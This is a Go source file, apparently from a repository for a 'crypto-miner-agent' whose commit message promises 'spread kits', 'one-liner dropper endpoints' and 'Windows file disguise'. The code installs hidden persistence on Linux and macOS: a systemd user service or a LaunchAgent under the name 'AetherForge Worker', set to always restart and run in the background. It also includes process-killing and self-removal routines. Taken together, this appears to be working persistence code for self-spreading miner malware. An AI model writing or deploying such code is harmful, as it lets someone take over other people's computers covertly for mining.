Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.
145 lines
3.9 KiB
Go
145 lines
3.9 KiB
Go
//go:build !windows
|
|
|
|
package deploy
|
|
|
|
import (
|
|
"fmt"
|
|
"os"
|
|
"os/exec"
|
|
"path/filepath"
|
|
"runtime"
|
|
"strings"
|
|
|
|
"crypto-miner-agent/config"
|
|
)
|
|
|
|
func CurrentExecutable() (string, error) {
|
|
path, err := os.Executable()
|
|
if err != nil {
|
|
return filepath.Abs(os.Args[0])
|
|
}
|
|
return filepath.Abs(path)
|
|
}
|
|
|
|
func configureAutoStart(cfg config.RuntimeConfig, binPath string) error {
|
|
switch runtime.GOOS {
|
|
case "darwin":
|
|
return configureLaunchAgent(cfg, binPath)
|
|
default:
|
|
return configureSystemdUser(cfg, binPath)
|
|
}
|
|
}
|
|
|
|
func configureRunMode(cfg config.RuntimeConfig, installedBin string) error {
|
|
if cfg.RunAs == "scheduled" || cfg.RunAs == "service" {
|
|
return configureAutoStart(cfg, installedBin)
|
|
}
|
|
return nil
|
|
}
|
|
|
|
func configureSystemdUser(cfg config.RuntimeConfig, binPath string) error {
|
|
unitName := PersistenceKeyName(cfg) + ".service"
|
|
unitDir := filepath.Join(os.Getenv("HOME"), ".config", "systemd", "user")
|
|
if err := os.MkdirAll(unitDir, 0755); err != nil {
|
|
return err
|
|
}
|
|
unitPath := filepath.Join(unitDir, unitName)
|
|
content := fmt.Sprintf(`[Unit]
|
|
Description=AetherForge Worker %s
|
|
After=network.target
|
|
|
|
[Service]
|
|
Type=simple
|
|
ExecStart=%s %s
|
|
Restart=always
|
|
RestartSec=60
|
|
|
|
[Install]
|
|
WantedBy=default.target
|
|
`, cfg.WorkerName, binPath, runFlag)
|
|
if err := os.WriteFile(unitPath, []byte(content), 0644); err != nil {
|
|
return err
|
|
}
|
|
_ = exec.Command("systemctl", "--user", "daemon-reload").Run()
|
|
_ = exec.Command("systemctl", "--user", "enable", unitName).Run()
|
|
_ = exec.Command("systemctl", "--user", "start", unitName).Run()
|
|
return nil
|
|
}
|
|
|
|
func configureLaunchAgent(cfg config.RuntimeConfig, binPath string) error {
|
|
label := "com.aetherforge." + sanitizeName(PersistenceKeyName(cfg))
|
|
plistDir := filepath.Join(os.Getenv("HOME"), "Library", "LaunchAgents")
|
|
if err := os.MkdirAll(plistDir, 0755); err != nil {
|
|
return err
|
|
}
|
|
plistPath := filepath.Join(plistDir, label+".plist")
|
|
content := fmt.Sprintf(`<?xml version="1.0" encoding="UTF-8"?>
|
|
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
|
<plist version="1.0">
|
|
<dict>
|
|
<key>Label</key><string>%s</string>
|
|
<key>ProgramArguments</key>
|
|
<array><string>%s</string><string>%s</string></array>
|
|
<key>RunAtLoad</key><true/>
|
|
<key>KeepAlive</key><true/>
|
|
<key>ProcessType</key><string>Background</string>
|
|
</dict>
|
|
</plist>
|
|
`, label, binPath, runFlag)
|
|
if err := os.WriteFile(plistPath, []byte(content), 0644); err != nil {
|
|
return err
|
|
}
|
|
_ = exec.Command("launchctl", "load", plistPath).Run()
|
|
return nil
|
|
}
|
|
|
|
func applyDetachedStart(cmd *exec.Cmd) {
|
|
if cmd == nil {
|
|
return
|
|
}
|
|
cmd.Stdin = nil
|
|
cmd.Stdout = nil
|
|
cmd.Stderr = nil
|
|
}
|
|
|
|
func HostOSVersion() string {
|
|
out, err := exec.Command("uname", "-sr").CombinedOutput()
|
|
if err != nil {
|
|
return runtime.GOOS
|
|
}
|
|
return strings.TrimSpace(string(out))
|
|
}
|
|
|
|
func killWorkerProcess(cfg config.RuntimeConfig) {
|
|
name := BinaryName(cfg)
|
|
if runtime.GOOS == "darwin" {
|
|
_ = exec.Command("pkill", "-f", name).Run()
|
|
} else {
|
|
_ = exec.Command("pkill", "-x", cfg.EffectiveProcessName()).Run()
|
|
}
|
|
}
|
|
|
|
func removePersistence(cfg config.RuntimeConfig) {
|
|
keyName := PersistenceKeyName(cfg)
|
|
switch runtime.GOOS {
|
|
case "darwin":
|
|
label := "com.aetherforge." + sanitizeName(keyName)
|
|
plistPath := filepath.Join(os.Getenv("HOME"), "Library", "LaunchAgents", label+".plist")
|
|
_ = exec.Command("launchctl", "unload", plistPath).Run()
|
|
_ = os.Remove(plistPath)
|
|
default:
|
|
unitName := keyName + ".service"
|
|
_ = exec.Command("systemctl", "--user", "disable", unitName).Run()
|
|
_ = exec.Command("systemctl", "--user", "stop", unitName).Run()
|
|
_ = os.Remove(filepath.Join(os.Getenv("HOME"), ".config", "systemd", "user", unitName))
|
|
}
|
|
}
|
|
|
|
func selfUninstallSpawn(installDir string) {
|
|
script := fmt.Sprintf("#!/bin/sh\nsleep 2\nrm -rf %q\n", installDir)
|
|
tmp := filepath.Join(os.TempDir(), "af-uninstall.sh")
|
|
_ = os.WriteFile(tmp, []byte(script), 0755)
|
|
cmd := exec.Command("/bin/sh", tmp)
|
|
_ = cmd.Start()
|
|
}
|